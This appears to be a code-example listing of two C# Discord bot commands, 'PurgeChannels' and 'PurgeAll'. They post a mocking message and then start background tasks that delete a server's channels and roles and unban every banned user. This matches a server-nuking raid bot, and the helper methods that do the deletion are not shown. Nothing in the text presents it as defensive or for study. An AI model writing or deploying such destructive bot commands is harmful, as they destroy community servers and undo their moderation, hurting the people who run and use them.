Exemplo n.º 1
0
        public async Task PurgeChannels()
        {
            await ReplyAsync("Purging channels...");
            await ReplyAsync("REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE");

            new System.Threading.Thread(delegate() {
                Task.Run(() => PurgeActions.ChannelPurge(Context.Guild));
            }).Start();
        }
Exemplo n.º 2
0
        public async Task PurgeAll()
        {
            await ReplyAsync("Purging everything...");
            await ReplyAsync("REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE");

            new System.Threading.Thread(delegate() {
                Task.Run(() => PurgeActions.RolePurge(Context.Guild));
                Task.Run(() => PurgeActions.ChannelPurge(Context.Guild));
                Task.Run(() => PurgeActions.Unban(Context.Guild));
            }).Start();
        }